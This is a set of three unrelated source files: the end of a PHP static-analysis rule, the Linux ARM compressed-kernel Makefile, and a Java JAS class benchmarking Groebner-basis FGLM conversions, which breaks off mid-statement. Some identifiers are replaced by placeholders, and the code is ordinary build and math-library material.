$file = $module->getAbsolutePath() . DIRECTORY_SEPARATOR . $filename;
if (is_file($file)) {
require_once $file;
return [];
}
return [
RuleErrorBuilder::message(sprintf(
'File %s could not be loaded from %s::loadInclude',
$module->getPath() . DIRECTORY_SEPARATOR . $filename,
<API key>::class
))
->line($node->getLine())
->build()
];
} catch (\Throwable $e) {
return [
RuleErrorBuilder::message(sprintf(
'A file could not be loaded from %s::loadInclude',
<API key>::class
))
->line($node->getLine())
->build()
];
}
}
}
|
# linux/arch/arm/boot/compressed/Makefile
# create a compressed vmlinuz image from the original vmlinux
OBJS =
plus_sec := $(call as-instr,.arch_extension sec,+sec)
# Ensure that MMCIF loader code appears early in the image
# to minimise that number of bocks that have to be read in
# order to load it.
ifeq ($(<API key>),y)
OBJS += mmcif-sh7372.o
endif
# Ensure that SDHI loader code appears early in the image
# to minimise that number of bocks that have to be read in
# order to load it.
ifeq ($(<API key>),y)
OBJS += sdhi-shmobile.o
OBJS += sdhi-sh7372.o
endif
AFLAGS_head.o += -DTEXT_OFFSET=$(TEXT_OFFSET)
AFLAGS_head.o += -Wa,-march=armv7-a$(plus_sec)
AFLAGS_misc.o += -Wa,-march=armv7-a$(plus_sec)
AFLAGS_decompress.o += -Wa,-march=armv7-a$(plus_sec)
AFLAGS_lib1funcs.o += -Wa,-march=armv7-a$(plus_sec)
AFLAGS_ashldi3.o += -Wa,-march=armv7-a$(plus_sec)
# Make sure we can use these during final link
CFLAGS_misc.o += -ffat-lto-objects
CFLAGS_decompress.o += -ffat-lto-objects
CFLAGS_string.o += -ffat-lto-objects
HEAD = head.o
OBJS += misc.o decompress.o
ifeq ($(CONFIG_KERNEL_LZ4),y)
CFLAGS_decompress.o := -Os
endif
FONTC = $(srctree)/drivers/video/console/font_acorn_8x8.c
# string library code (-Os is enforced to keep it much smaller)
OBJS += string.o
CFLAGS_string.o += -Os
# Architecture dependencies
ifeq ($(CONFIG_ARCH_ACORN),y)
OBJS += ll_char_wr.o font.o
endif
ifeq ($(CONFIG_ARCH_SHARK),y)
OBJS += head-shark.o ofw-shark.o
endif
ifeq ($(CONFIG_ARCH_P720T),y)
# Borrow this code from SA1100
OBJS += head-sa1100.o
endif
ifeq ($(CONFIG_ARCH_SA1100),y)
OBJS += head-sa1100.o
endif
ifeq ($(CONFIG_ARCH_VT8500),y)
OBJS += head-vt8500.o
endif
ifeq ($(CONFIG_CPU_XSCALE),y)
OBJS += head-xscale.o
endif
ifeq ($(<API key>),y)
OBJS += head-sharpsl.o
endif
ifeq ($(<API key>),y)
ifeq ($(CONFIG_CPU_CP15),y)
OBJS += big-endian.o
else
# The endian should be set by h/w design.
endif
endif
ifeq ($(<API key>),y)
OBJS += head-shmobile.o
endif
# We now have a PIC decompressor implementation. Decompressors running
# from RAM should not define ZTEXTADDR. Decompressors running directly
# from ROM or Flash must define ZTEXTADDR (preferably via the config)
# FIXME: Previous assignment to ztextaddr-y is lost here. See SHARK
ifeq ($(CONFIG_ZBOOT_ROM),y)
ZTEXTADDR := $(<API key>)
ZBSSADDR := $(<API key>)
else
ZTEXTADDR := 0
ZBSSADDR := ALIGN(8)
endif
SEDFLAGS = s/TEXT_START/$(ZTEXTADDR)/;s/BSS_START/$(ZBSSADDR)/
suffix_$(CONFIG_KERNEL_GZIP) = gzip
suffix_$(CONFIG_KERNEL_LZO) = lzo
suffix_$(CONFIG_KERNEL_LZMA) = lzma
suffix_$(CONFIG_KERNEL_XZ) = xzkern
suffix_$(CONFIG_KERNEL_LZ4) = lz4
AFLAGS_piggy.$(suffix_y).o += -Wa,-march=armv7-a$(plus_sec)
# Borrowed libfdt files for the ATAG compatibility mode
libfdt := fdt_rw.c fdt_ro.c fdt_wip.c fdt.c
libfdt_hdrs := fdt.h libfdt.h libfdt_internal.h
libfdt_objs := $(addsuffix .o, $(basename $(libfdt)))
$(addprefix $(obj)/,$(libfdt) $(libfdt_hdrs)): $(obj)/%: $(srctree)/scripts/dtc/libfdt/%
$(call cmd,shipped)
$(addprefix $(obj)/,$(libfdt_objs) atags_to_fdt.o): \
$(addprefix $(obj)/,$(libfdt_hdrs))
ifeq ($(<API key>),y)
OBJS += $(libfdt_objs) atags_to_fdt.o
endif
targets := vmlinux vmlinux.lds \
piggy.$(suffix_y) piggy.$(suffix_y).o \
lib1funcs.o lib1funcs.S ashldi3.o ashldi3.S \
font.o font.c head.o misc.o $(OBJS)
# Make sure files are removed during clean
extra-y += piggy.gzip piggy.lzo piggy.lzma piggy.xzkern piggy.lz4 \
lib1funcs.S ashldi3.S $(libfdt) $(libfdt_hdrs)
ifeq ($(<API key>),y)
ORIG_CFLAGS := $(KBUILD_CFLAGS)
KBUILD_CFLAGS = $(subst -pg, , $(ORIG_CFLAGS))
endif
ccflags-y := -fpic -fno-builtin -I$(obj)
asflags-y :=
# Supply kernel BSS size to the decompressor via a linker symbol.
KBSS_SZ = $(shell $(CROSS_COMPILE)size $(obj)/../../../../vmlinux | \
awk 'END{print $$3}')
LDFLAGS_vmlinux = --defsym _kernel_bss_size=$(KBSS_SZ)
# Supply ZRELADDR to the decompressor via a linker symbol.
ifneq ($(<API key>),y)
LDFLAGS_vmlinux += --defsym zreladdr=$(ZRELADDR)
endif
ifeq ($(<API key>),y)
LDFLAGS_vmlinux += --be8
endif
ifneq ($(PARAMS_PHYS),)
LDFLAGS_vmlinux += --defsym params_phys=$(PARAMS_PHYS)
endif
LDFLAGS_vmlinux += -p
# Report unresolved symbol references
LDFLAGS_vmlinux += --no-undefined
# Delete all temporary local symbols
LDFLAGS_vmlinux += -X
# Next argument is a linker script
LDFLAGS_vmlinux += -T
# For __aeabi_uidivmod
lib1funcs = $(obj)/lib1funcs.o
$(obj)/lib1funcs.S: $(srctree)/arch/$(SRCARCH)/lib/lib1funcs.S
$(call cmd,shipped)
# For __aeabi_llsl
ashldi3 = $(obj)/ashldi3.o
$(obj)/ashldi3.S: $(srctree)/arch/$(SRCARCH)/lib/ashldi3.S
$(call cmd,shipped)
# We need to prevent any GOTOFF relocs being used with references
# to symbols in the .bss section since we cannot relocate them
# independently from the rest at run time. This can be achieved by
# ensuring that no private .bss symbols exist, as global symbols
# always have a GOT entry which is what we need.
# The .data section is already discarded by the linker script so no need
# to bother about it here.
check_for_bad_syms = \
bad_syms=$$($(CROSS_COMPILE)nm $@ | sed -n 's/^.\{8\} [bc] \(.*\)/\1/p') && \
[ -z "$$bad_syms" ] || \
( echo "following symbols must have non local/private scope:" >&2; \
echo "$$bad_syms" >&2; rm -f $@; false )
<API key> = \
if [ $(words $(ZRELADDR)) -gt 1 -a "$(<API key>)" = "" ]; then \
echo 'multiple zreladdrs: $(ZRELADDR)'; \
echo 'This needs <API key> to be set'; \
false; \
fi
$(obj)/vmlinux: $(obj)/vmlinux.lds $(obj)/$(HEAD) $(obj)/piggy.$(suffix_y).o \
$(addprefix $(obj)/, $(OBJS)) $(lib1funcs) $(ashldi3) FORCE
@$(<API key>)
$(call if_changed,ld)
@$(check_for_bad_syms)
$(obj)/piggy.$(suffix_y): $(obj)/../Image FORCE
$(call if_changed,$(suffix_y))
$(obj)/piggy.$(suffix_y).o: $(obj)/piggy.$(suffix_y) FORCE
CFLAGS_font.o := -Dstatic=
$(obj)/font.c: $(FONTC)
$(call cmd,shipped)
$(obj)/vmlinux.lds: $(obj)/vmlinux.lds.in arch/arm/boot/Makefile $(KCONFIG_CONFIG)
@sed "$(SEDFLAGS)" < $< > $@
|
package edu.jas.gbufd;
import java.io.IOException;
import java.io.Reader;
import java.io.StringReader;
import java.math.BigInteger;
import java.util.Arrays;
import java.util.Collections;
import java.util.List;
//import junit.framework.Test;
//import junit.framework.TestCase;
//import junit.framework.TestSuite;
import edu.jas.arith.BigRational;
import edu.jas.arith.ModInteger;
import edu.jas.arith.ModIntegerRing;
import edu.jas.gb.GroebnerBase;
import edu.jas.poly.ExpVector;
import edu.jas.poly.GenPolynomial;
import edu.jas.poly.<API key>;
import edu.jas.poly.Monomial;
import edu.jas.poly.<API key>;
import edu.jas.poly.PolyUtil;
import edu.jas.poly.PolynomialList;
/**
* Groebner base FGLM examples. Without JUnit.
* @author Jan Suess.
*/
public class <API key> /*extends TestCase*/ {
/**
* main
*/
public static void main(String[] args) {
//BasicConfigurator.configure();
//junit.textui.TestRunner.run(suite());
<API key> ex = new <API key>();
ex.testC5();
/*
ex.xtestFiveVarsOrder();
ex.xtestCAP();
ex.xtestAUX();
ex.xtestModC5();
ex.xtestC6();
ex.xtestIsaac();
ex.xtestNiermann();
ex.ytestWalkS7();
ex.ytestCassouMod1();
ex.ytestOmdi1();
ex.ytestLamm1();
ex.xtestEquilibrium();
ex.xtestTrinks2();
ex.<API key>();
*/
}
/*
* Constructs a <CODE><API key></CODE> object.
* @param name String.
public <API key>(String name) {
super(name);
}
*/
/*
* suite.
public static Test suite() {
TestSuite suite = new TestSuite(<API key>.class);
return suite;
}
*/
//field Q
String all = "Zahlbereich | Ordnung | Elements G | Elements L | bitHeight G | bitHeight L | Deg G | Deg L | Time G | Time FGLM | Time L";
String grad = "Zahlbereich | Ordnung | Elements G | bitHeight G | Deg G | Time G | vDim";
String lex = "Zahlbereich | Ordnung | Elements L | bitHeight L | Deg L | Time L";
String fglm = "Zahlbereich | Ordnung | Elements G | Elements L | bitHeight G | bitHeight L | Deg G | Deg L | Time G | Time FGLM";
//MOD 1831
String modAll = "Zahlbereich | Ordnung | Elements G | Elements L | Deg G | Deg L | Time G | Time FGLM | Time L";
String modGrad = "Zahlbereich | Ordnung | Elements G | Deg G | Time G";
String modfglm = "Zahlbereich | Ordnung | Elements G | Elements L | Deg G | Deg L | Time G | Time FGLM";
/*
@Override
protected void setUp() {
System.out.println("Setup");
}
@Override
protected void tearDown() {
System.out.println("Tear Down");
}
*/
//Test with five variables and different variable orders
public void xtestFiveVarsOrder() {
String polynomials = "( "
+ " (v^8*x*y*z), ( w^3*x - 2*v), ( 4*x*y - 2 + y), ( 3*y^5 - 3 + z ), ( 8*y^2*z^2 + x * y^6 )"
+ ") ";
String[] order = new String[] { "v", "w", "x", "y", "z" };
//String order1 = shuffle(order);
String order2 = shuffle(order);
//String order3 = shuffle(order);
//String order4 = shuffle(order);
//String order5 = shuffle(order);
//String order6 = "(z,w,v,y,x)"; //langsam
//String order7 = "(v,z,w,y,x)"; //langsam
//String order8 = "(w,z,v,x,y)"; //langsam
/*
String erg1 = testGeneral(order1, polynomials);
String erg2 = testGeneral(order2, polynomials);
String erg3 = testGeneral(order3, polynomials);
String erg4 = testGeneral(order4, polynomials);
String erg5 = testGeneral(order5, polynomials);
*/
String ergM13 = modAll(order2, polynomials, 13);
String ergM7 = modAll(order2, polynomials, 7);
/*
String ergOnlyL_1 = testOnlyLex(order1, polynomials);
String ergOnlyL_2 = testOnlyLex(order2, polynomials);
String ergOnlyL_3 = testOnlyLex(order3, polynomials);
String ergOnlyL_4 = testOnlyLex(order4, polynomials);
String ergOnlyL_5 = testOnlyLex(order5, polynomials);
String erg6 = testGeneral(order6, polynomials);
String erg7 = testGeneral(order7, polynomials);
String erg8 = testGeneral(order8, polynomials);
*/
//langsam: (z,w,v,y,x), (v,z,w,y,x)
/*
System.out.println(categoryLex);
System.out.println(ergOnlyL_1);
System.out.println(ergOnlyL_2);
System.out.println(ergOnlyL_3);
System.out.println(ergOnlyL_4);
System.out.println(ergOnlyL_5);
System.out.println(category);
System.out.println(erg6);
System.out.println(erg7);
System.out.println(erg8);
System.out.println(erg1);
System.out.println(erg2);
System.out.println(erg3);
System.out.println(erg4);
System.out.println(erg5);
*/
System.out.println(all);
System.out.println("Mod 13");
System.out.println(ergM13);
System.out.println("Mod 7");
System.out.println(ergM7);
}
// 1994, Faugere, Gianni, Lazard, Mora (FGLM)
public void xtestCAP() {
String polynomials = "( " + " (y^2*z + 2*x*y*t - 2*x - z),"
+ "(-x^3*z + 4*x*y^2*z + 4*x^2*y*t + 2*y^3*t + 4*x^2 - 10*y^2 + 4*x*z - 10*y*t + 2),"
+ "(2*y*z*t + x*t^2 - x - 2*z),"
+ "(-x*z^3 + 4*y*z^2*t + 4*x*z*t^2 + 2*y*t^3 + 4*x*z + 4*z^2 - 10*y*t -10*t^2 + 2)"
+ ") ";
String orderINV = "(x,y,z,t)";
String orderL = "(t,z,y,x)";
//Tests
String erg_deg = grad(orderINV, polynomials);
System.out.println(grad);
System.out.println(erg_deg);
String erg1 = all(orderINV, polynomials);
String erg2 = all(orderL, polynomials);
String ergMod1 = modAll(orderINV, polynomials, 1831);
String ergMod2 = modAll(orderL, polynomials, 1831);
System.out.println(all);
System.out.println(erg1);
System.out.println(erg2);
System.out.println("\n");
System.out.println(modAll);
System.out.println(ergMod1);
System.out.println(ergMod2);
}
public void xtestAUX() {
String polynomials = "( " + " (a^2*b*c + a*b^2*c + a*b*c^2 + a*b*c + a*b + a*c + b*c),"
+ "(a^2*b^2*c + a*b^2*c^2 + a^2*b*c + a*b*c + b*c + a + c ),"
+ "(a^2*b^2*c^2 + a^2*b^2*c + a*b^2*c + a*b*c + a*c + c + 1)" + ") ";
String orderINV = "(a,b,c)";
String orderL = "(c,b,a)";
//Tests
String erg_deg = grad(orderINV, polynomials);
System.out.println(grad);
System.out.println(erg_deg);
String erg1 = all(orderINV, polynomials);
String erg2 = all(orderL, polynomials);
String ergMod1 = modAll(orderINV, polynomials, 1831);
String ergMod2 = modAll(orderL, polynomials, 1831);
System.out.println(all);
System.out.println(erg1);
System.out.println(erg2);
System.out.println("\n");
System.out.println(modAll);
System.out.println(ergMod1);
System.out.println(ergMod2);
}
public void testC5() {
String polynomials = "( " + " (a + b + c + d + e)," + "(a*b + b*c + c*d + a*e + d*e),"
+ "(a*b*c + b*c*d + a*b*e + a*d*e + c*d*e),"
+ "(a*b*c*d + a*b*c*e + a*b*d*e + a*c*d*e + b*c*d*e)," + "(a*b*c*d*e -1)" + ") ";
String orderINV = "(a,b,c,d,e)";
String orderL = "(e,d,c,b,a)";
//Tests
String erg_deg = grad(orderINV, polynomials);
//System.out.println(grad);
//System.out.println(erg_deg);
String erg1 = all(orderINV, polynomials);
String erg2 = all(orderL, polynomials);
String ergMod1 = modAll(orderINV, polynomials, 1831);
String ergMod2 = modAll(orderL, polynomials, 1831);
System.out.println(grad);
System.out.println(erg_deg);
System.out.println("");
System.out.println(all);
System.out.println(erg1);
System.out.println(erg2);
System.out.println("\n");
System.out.println(modAll);
System.out.println(ergMod1);
System.out.println(ergMod2);
}
public void xtestModC5() {
String polynomials = "( " + " (a + b + c + d + e)," + "(a*b + b*c + c*d + a*e + d*e),"
+ "(a*b*c + b*c*d + a*b*e + a*d*e + c*d*e),"
+ "(b*c*d + a*b*c*e + a*b*d*e + a*c*d*e + b*c*d*e)," + "(a*b*c*d*e -1)" + ") ";
String orderINV = "(a,b,c,d,e)";
String orderL = "(e,d,c,b,a)";
//Tests
String erg_deg = grad(orderL, polynomials);
System.out.println(grad);
System.out.println(erg_deg);
/*
String ergOnlyFGLM_1 = fglm(orderINV, polynomials);
System.out.println(fglm);
System.out.println(ergOnlyFGLM_1);
//Tests MODULO
String ergOnlyG_1 = modGrad(orderINV, polynomials, 1831);
System.out.println(modGrad);
System.out.println(ergOnlyG_1);
String erg1 = modfglm(orderINV, polynomials, 1831);
System.out.println(modfglm);
System.out.println(erg1);
*/
}
public void xtestC6() {
String polynomials = "( " + " (a + b + c + d + e + f)," + "(a*b + b*c + c*d + d*e + e*f + a*f),"
+ "(a*b*c + b*c*d + c*d*e + d*e*f + a*e*f + a*b*f),"
+ "(a*b*c*d + b*c*d*e + c*d*e*f + a*d*e*f + a*b*e*f + a*b*c*f),"
+ "(a*b*c*d*e + b*c*d*e*f + a*c*d*e*f + a*b*d*e*f + a*b*c*e*f + a*b*c*d*f),"
+ "(a*b*c*d*e*f - 1)" + ") ";
String orderINV = "(a,b,c,d,e,f)";
String orderL = "(f,e,d,c,b,a)";
//Tests
/*
String erg2 = modAll(orderINV, polynomials, 1831);
System.out.println(modAll);
System.out.println(erg2);
String ergOnlyG_1 = modGrad(orderINV, polynomials, 1831);
System.out.println(modGrad);
System.out.println(ergOnlyG_1);
String erg1 = modfglm(orderINV, polynomials, 1831);
System.out.println(modfglm);
System.out.println(erg1);
*/
}
//Examples taken from "Der FGLM-Algorithmus: verallgemeinert und implementiert in SINGULAR", 1997, Wichmann
public void xtestIsaac() {
String polynomials = "( "
+ " (8*w^2 + 5*w*x - 4*w*y + 2*w*z + 3*w + 5*x^2 + 2*x*y - 7*x*z - 7*x + 7*y^2 -8*y*z - 7*y + 7*z^2 - 8*z + 8),"
+ "(3*w^2 - 5*w*x - 3*w*y - 6*w*z + 9*w + 4*x^2 + 2*x*y - 2*x*z + 7*x + 9*y^2 + 6*y*z + 5*y + 7*z^2 + 7*z + 5),"
+ "(-2*w^2 + 9*w*x + 9*w*y - 7*w*z - 4*w + 8*x^2 + 9*x*y - 3*x*z + 8*x + 6*y^2 - 7*y*z + 4*y - 6*z^2 + 8*z + 2),"
+ "(7*w^2 + 5*w*x + 3*w*y - 5*w*z - 5*w + 2*x^2 + 9*x*y - 7*x*z + 4*x -4*y^2 - 5*y*z + 6*y - 4*z^2 - 9*z + 2)"
+ ") ";
String orderINV = "(w,x,y,z)";
String orderL = "(z,y,x,w)";
//Tests
String erg_deg = grad(orderL, polynomials);
System.out.println(grad);
System.out.println(erg_deg);
/*
String erg3 = all(orderINV, polynomials);
System.out.println(all);
System.out.println(erg3);
String ergOnlyLex_1 = lex(orderINV, polynomials);
String ergOnlyLex_2 = lex(orderL, polynomials);
System.out.println(lex);
System.out.println(ergOnlyLex_1);
System.out.println(ergOnlyLex_2);
String ergOnlyFGLM_1 = fglm(orderINV, polynomials);
String ergOnlyFGLM_2 = fglm(orderL, polynomials);
System.out.println(fglm);
System.out.println(ergOnlyFGLM_1);
System.out.println(ergOnlyFGLM_2);
String ergm1 = modAll(orderINV, polynomials, 2147464751);
String ergm2 = modAll(orderL, polynomials, 2147464751);
System.out.println(modAll);
System.out.println(ergm1);
System.out.println(ergm2);
*/
}
public void xtestNiermann() {
String polynomials = "( " + " (x^2 + x*y^2*z - 2*x*y + y^4 + y^2 + z^2),"
+ "(-x^3*y^2 + x*y^2*z + x*y*z^3 - 2*x*y + y^4)," + "(-2*x^2*y + x*y^4 + y*z^4 - 3)"
+ ") ";
String orderINV = "(x,y,z)";
String orderL = "(z,y,x)";
//Tests
String erg_deg = grad(orderINV, polynomials);
System.out.println(grad);
System.out.println(erg_deg);
/*
String erg1 = fglm(orderINV, polynomials);
String erg2 = fglm(orderL, polynomials);
System.out.println(fglm);
System.out.println(erg1);
System.out.println(erg2);
*/
String ergm1 = modfglm(orderINV, polynomials, 1831);
String ergm2 = modfglm(orderL, polynomials, 2147464751);
System.out.println(modfglm);
System.out.println(ergm1);
System.out.println(ergm2);
}
public void ytestWalkS7() {
String polynomials = "( " + " (2*g*b + 2*f*c + 2*e*d + a^2 + a),"
+ "(2*g*c + 2*f*d + e^2 + 2*b*a + b)," + "(2*g*d + 2*f*e + 2*c*a + c + b^2),"
+ "(2*g*e + f^2 + 2*d*a + d + 2*c*b)," + "(2*g*f + 2*e*a + e + 2*d*b + c^2),"
+ "(g^2 + 2*f*a + f + 2*e*b + 2*d*c)," + "(2*g*a + g + 2*f*b + 2*e*c + d^2)" + ") ";
String orderINV = "(a,b,c,d,e,f,g)";
String orderL = "(g,f,e,d,c,b,a)";
//Tests
//String ergm1 = modAll(orderINV, polynomials, 2147464751);
//String ergm2 = modfglm(orderL, polynomials, 1831);
//System.out.println(modfglm);
//System.out.println(ergm1);
//System.out.println(ergm2);
String erg2 = fglm(orderL, polynomials);
System.out.println(fglm);
System.out.println(erg2);
}
public void ytestCassouMod1() {
String polynomials = "( "
+ " (15*a^4*b*c^2 + 6*a^4*b^3 + 21*a^4*b^2*c - 144*a^2*b - 8*a^2*b^2*d - 28*a^2*b*c*d - 648*a^2*c + 36*c^2*d + 9*a^4*c^3 - 120),"
+ "(30*b^3*a^4*c - 32*c*d^2*b - 720*c*a^2*b - 24*b^3*a^2*d - 432*b^2*a^2 + 576*d*b - 576*c*d + 16*b*a^2*c^2*d + 16*c^2*d^2 + 16*d^2*b^2 + 9*b^4*a^4 + 5184 + 39*c^2*a^4*b^2 + 18*c^3*a^4*b - 432*c^2*a^2 + 24*c^3*a^2*d - 16*b^2*a^2*c*d - 240*b),"
+ "(216*c*a^2*b - 162*c^2*a^2 - 81*b^2*a^2 + 5184 + 1008*d*b - 1008*c*d + 15*b^2*a^2*c*d - 15*b^3*a^2*d - 80*c*d^2*b + 40*c^2*d^2 + 40*d^2*b^2),"
+ "(261 + 4*c*a^2*b - 3*c^2*a^2 - 4*b^2*a^2 + 22*d*b - 22*c*d)" + ") ";
String orderINV = "(a,b,c,d)";
String orderL = "(d,c,b,a)";
//Tests
String ergm1 = modfglm(orderL, polynomials, 1831);
String ergm2 = modfglm(orderINV, polynomials, 1831);
System.out.println(modfglm);
System.out.println(ergm1);
System.out.println(ergm2);
}
public void ytestOmdi1() {
String polynomials = "( " + " (a + c + v + 2*x - 1)," + "(a*b + c*u + 2*v*w + 2*x*y + 2*x*z -2/3),"
+ "(a*b^2 + c*u^2 + 2*v*w^2 + 2*x*y^2 + 2*x*z^2 - 2/5),"
+ "(a*b^3 + c*u^3 + 2*v*w^3 + 2*x*y^3 + 2*x*z^3 - 2/7),"
+ "(a*b^4 + c*u^4 + 2*v*w^4 + 2*x*y^4 + 2*x*z^4 - 2/9)," + "(v*w^2 + 2*x*y*z - 1/9),"
+ "(v*w^4 + 2*x*y^2*z^2 - 1/25)," + "(v*w^3 + 2*x*y*z^2 + x*y^2*z - 1/15),"
+ "(v*w^4 + x*y*z^3 + x*y^3*z -1/21)" + ") ";
String orderINV = "(a,b,c,u,v,w,x,y,z)";
String orderL = "(z,y,x,w,v,u,c,b,a)";
//Tests
String erg_deg = grad(orderL, polynomials);
System.out.println(grad);
System.out.println(erg_deg);
/*
String ergm1 = modfglm(orderL, polynomials, 1831);
String ergm2 = modfglm(orderINV, polynomials, 1831);
System.out.println(modfglm);
System.out.println(ergm1);
System.out.println(ergm2);
*/
}
public void ytestLamm1() {
String polynomials = "( "
+ " (45*x^8 + 3*x^7 + 39*x^6 + 30*x^5 + 13*x^4 + 41*x^3 + 5*x^2 + 46*x + 7),"
+ "(49*x^7*y + 35*x*y^7 + 37*x*y^6 + 9*y^7 + 4*x^6 + 6*y^6 + 27*x^3*y^2 + 20*x*y^4 + 31*x^4 + 33*x^2*y + 24*x^2 + 49*y + 43)"
+ ") ";
String orderINV = "(x,y)";
String orderL = "(y,x)";
//Tests
String erg_deg = grad(orderINV, polynomials);
System.out.println(grad);
System.out.println(erg_deg);
String erg1 = all(orderINV, polynomials);
String erg2 = all(orderL, polynomials);
String ergMod1 = modAll(orderINV, polynomials, 1831);
String ergMod2 = modAll(orderL, polynomials, 1831);
System.out.println(all);
System.out.println(erg1);
System.out.println(erg2);
System.out.println("\n");
System.out.println(modAll);
System.out.println(ergMod1);
System.out.println(ergMod2);
}
public void xtestEquilibrium() {
String polynomials = "( "
+ " (y^4 - 20/7*z^2),"
+ "(z^2*x^4 + 7/10*z*x^4 + 7/48*x^4 - 50/27*z^2 - 35/27*z - 49/216),"
+ "(x^5*y^3 + 7/5*z^4*y^3 + 609/1000 *z^3*y^3 + 49/1250*z^2*y^3 - 27391/800000*z*y^3 - 1029/160000*y^3 + 3/7*z^5*x*y^2 +"
+ "3/5*z^6*x*y^2 + 63/200*z^3*x*y^2 + 147/2000*z^2*x*y^2 + 4137/800000*z*x*y^2 - 7/20*z^4*x^2*y - 77/125*z^3*x^2*y"
+ "- 23863/60000*z^2*x^2*y - 1078/9375*z*x^2*y - 24353/1920000*x^2*y - 3/20*z^4*x^3 - 21/100*z^3*x^3"
+ "- 91/800*z^2*x^3 - 5887/200000*z*x^3 - 343/128000*x^3)" + ") ";
String order = "(x,y,z)";
//Tests
String ergOnlyG_1 = grad(order, polynomials);
System.out.println(grad);
System.out.println(ergOnlyG_1);
}
public void xtestTrinks2() {
String polynomials = "( " + " (45*p + 35*s - 165*b - 36)," + "(35*p + 40*z + 25*t - 27*s),"
+ "(15*w + 25*p*s + 30*z - 18*t - 165*b^2)," + "(-9*w + 15*p*t + 20*z*s),"
+ "(w*p + 2*z*t - 11*b^3)," + "(99*w - 11*s*b + 3*b^2),"
+ "(b^2 + 33/50*b + 2673/10000)" + ") ";
String order1 = "(b,s,t,z,p,w)";
String order2 = "(s,b,t,z,p,w)";
String order3 = "(s,t,b,z,p,w)";
String order4 = "(s,t,z,p,b,w)";
String order5 = "(s,t,z,p,w,b)";
String order6 = "(s,z,p,w,b,t)";
String order7 = "(p,w,b,t,s,z)";
String order8 = "(z,w,b,s,t,p)";
String order9 = "(t,z,p,w,b,s)";
String order10 = "(z,p,w,b,s,t)";
String order11 = "(p,w,b,s,t,z)";
String order12 = "(w,b,s,t,z,p)";
//Tests
String erg_1 = all(order1, polynomials);
String erg_2 = all(order2, polynomials);
String erg_3 = all(order3, polynomials);
String erg_4 = all(order4, polynomials);
String erg_5 = all(order5, polynomials);
String erg_6 = all(order6, polynomials);
String erg_7 = all(order7, polynomials);
String erg_8 = all(order8, polynomials);
String erg_9 = all(order9, polynomials);
String erg_10 = all(order10, polynomials);
String erg_11 = all(order11, polynomials);
String erg_12 = all(order12, polynomials);
System.out.println(all);
System.out.println(erg_1);
System.out.println(erg_2);
System.out.println(erg_3);
System.out.println(erg_4);
System.out.println(erg_5);
System.out.println(erg_6);
System.out.println(erg_7);
System.out.println(erg_8);
System.out.println(erg_9);
System.out.println(erg_10);
System.out.println(erg_11);
System.out.println(erg_12);
}
public void <API key>() {
String polynomials = "( " + " (a-f),(b-h-g),(e+d+c-1),(d*a+c*b-1/2),(d*a^2+c*b^2-1/3),(c*g*a-1/6)"
+ ") ";
String[] order = new String[] { "a", "b", "c", "d", "e", "f", "g", "h" };
String order1 = shuffle(order);
String order2 = shuffle(order);
String order3 = shuffle(order);
String order4 = shuffle(order);
String order5 = shuffle(order);
// langsam (e,d,h,c,g,a,f,b), (h,d,b,e,c,g,a,f) um die 120
// sehr langsam (e,h,d,c,g,b,a,f) um die 1000
// sehr schnell (g,b,f,h,c,d,a,e), (h,c,a,g,d,f,e,b) 1 millisec
String ergOnlyG_1 = grad(order1, polynomials);
System.out.println(grad);
System.out.println(ergOnlyG_1);
String ergOnlyL_1 = lex(order1, polynomials);
String ergOnlyL_2 = lex(order2, polynomials);
String ergOnlyL_3 = lex(order3, polynomials);
String ergOnlyL_4 = lex(order4, polynomials);
String ergOnlyL_5 = lex(order5, polynomials);
System.out.println(lex);
System.out.println(ergOnlyL_1);
System.out.println(ergOnlyL_2);
System.out.println(ergOnlyL_3);
System.out.println(ergOnlyL_4);
System.out.println(ergOnlyL_5);
//String ergGeneral = all(order, polynomials);
//System.out.println(all);
//System.out.println(ergGeneral);
}
//Internal methods
@SuppressWarnings("unchecked")
public String all(String order, String polynomials) {
GroebnerBaseFGLM<BigRational> IdealObjectFGLM;
BigRational coeff = new BigRational();
GroebnerBase<BigRational> gb = GBFactory.getImplementation(coeff);
String polynomials_Grad = order + " G " + polynomials;
String polynomials_Lex = order + " L " + polynomials;
Reader sourceG = new StringReader(polynomials_Grad);
<API key> parserG = new <API key>(sourceG);
PolynomialList<BigRational> G = null;
Reader sourceL = new StringReader(polynomials_Lex);
<API key> parserL = new <API key>(sourceL);
PolynomialList<BigRational> L = null;
try {
G = (PolynomialList<BigRational>) parserG.nextPolynomialSet();
L = (PolynomialList<BigRational>) parserL.nextPolynomialSet();
} catch (IOException e) {
e.printStackTrace();
return "fail";
}
System.out.println("Input " + G);
System.out.println("Input " + L);
//Computation of the Groebnerbase with Buchberger w.r.t INVLEX
long buchberger_Lex = System.currentTimeMillis();
List<GenPolynomial<BigRational>> GL = gb.GB(L.list);
buchberger_Lex = System.currentTimeMillis() - buchberger_Lex;
//Computation of the Groebnerbase with Buchberger w.r.t GRADLEX (Total degree + INVLEX)
long buchberger_Grad = System.currentTimeMillis();
List<GenPolynomial<BigRational>> GG = gb.GB(G.list);
buchberger_Grad = System.currentTimeMillis() - buchberger_Grad;
//PolynomialList<BigRational> GGG = new PolynomialList<BigRational>(G.ring, GG);
//PolynomialList<BigRational> GLL = new PolynomialList<BigRational>(L.ring, GL);
IdealObjectFGLM = new GroebnerBaseFGLM<BigRational>(); //GGG);
//IdealObjectLex = new GroebnerBaseSeq<BigRational>(GLL);
long tconv = System.currentTimeMillis();
List<GenPolynomial<BigRational>> resultFGLM = IdealObjectFGLM.convGroebnerToLex(GG);
tconv = System.currentTimeMillis() - tconv;
<API key><BigRational> o1 = new <API key><BigRational>(GG.get(0).ring, GG);
<API key><BigRational> o2 = new <API key><BigRational>(
resultFGLM.get(0).ring, resultFGLM);
//List<GenPolynomial<BigRational>> resultBuchberger = GL;
<API key><BigRational> o3 = new <API key><BigRational>(GL.get(0).ring, GL);
int <API key> = GG.size();
int <API key> = resultFGLM.size();
long grad_maxPolyGrad = PolyUtil.<BigRational> <API key>(GG); // IdealObjectFGLM.maxDegreeOfGB();
long lex_maxPolyGrad = PolyUtil.<BigRational> <API key>(GL); // IdealObjectLex.maxDegreeOfGB();
int grad_height = bitHeight(GG);
int lex_height = bitHeight(resultFGLM);
System.out.println("Order of Variables: " + order);
System.out.println("Groebnerbases: ");
System.out.println("Groebnerbase Buchberger (IGRLEX) " + o1);
System.out.println("Groebnerbase FGML (INVLEX) computed from Buchberger (IGRLEX) " + o2);
System.out.println("Groebnerbase Buchberger (INVLEX) " + o3);
String erg = "BigRational |" + order + " |" + <API key> + " |"
+ <API key> + " |" + grad_height + " |" + lex_height
